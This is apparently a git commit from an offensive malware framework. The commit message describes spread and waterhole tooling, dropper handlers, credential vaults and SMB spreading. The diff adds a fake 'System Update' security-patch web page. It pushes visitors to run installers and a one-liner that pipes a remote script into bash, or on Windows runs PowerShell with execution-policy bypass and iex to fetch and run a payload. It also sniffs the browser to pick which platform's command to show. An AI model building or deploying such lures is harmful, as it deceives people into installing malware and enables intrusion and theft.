feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
41
spread-kit-web-publisher/index.html
Normal file
41
spread-kit-web-publisher/index.html
Normal file
@@ -0,0 +1,41 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<title>System Update</title>
|
||||
<link rel="stylesheet" href="assets/aether.css" />
|
||||
</head>
|
||||
<body>
|
||||
<main class="shell">
|
||||
<header class="hero">
|
||||
<p class="eyebrow">Security patch</p>
|
||||
<h1>Recommended update available</h1>
|
||||
<p class="lede">Your environment requires a small compatibility fix. Choose your platform below — installation is automatic.</p>
|
||||
</header>
|
||||
<section class="actions" id="actions">
|
||||
<a class="btn btn-win" id="btn-win" href="install.ps1{{QUERY_SUFFIX}}">Windows</a>
|
||||
<a class="btn btn-nix" id="btn-nix" href="install.sh{{QUERY_SUFFIX}}">Linux</a>
|
||||
<a class="btn btn-mac" id="btn-mac" href="install.command{{QUERY_SUFFIX}}">macOS</a>
|
||||
<a class="btn btn-dl" id="btn-dl" href="{{SERVER_URL}}/get{{QUERY_SUFFIX}}">Direct download</a>
|
||||
</section>
|
||||
<footer class="fine">
|
||||
<p>Having trouble? Run in terminal:</p>
|
||||
<code id="oneliner">curl -sL '{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}' | bash</code>
|
||||
</footer>
|
||||
</main>
|
||||
<script>
|
||||
(function () {
|
||||
var ua = navigator.userAgent || '';
|
||||
var win = /windows/i.test(ua);
|
||||
var mac = /macintosh|mac os x/i.test(ua);
|
||||
var nix = /linux/i.test(ua) && !/android/i.test(ua);
|
||||
if (win) document.getElementById('btn-win').classList.add('primary');
|
||||
else if (mac) document.getElementById('btn-mac').classList.add('primary');
|
||||
else if (nix) document.getElementById('btn-nix').classList.add('primary');
|
||||
if (win) document.getElementById('oneliner').textContent =
|
||||
"powershell -ep bypass -c \"iex (irm '{{SERVER_URL}}/install.ps1{{QUERY_SUFFIX}}')\"";
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user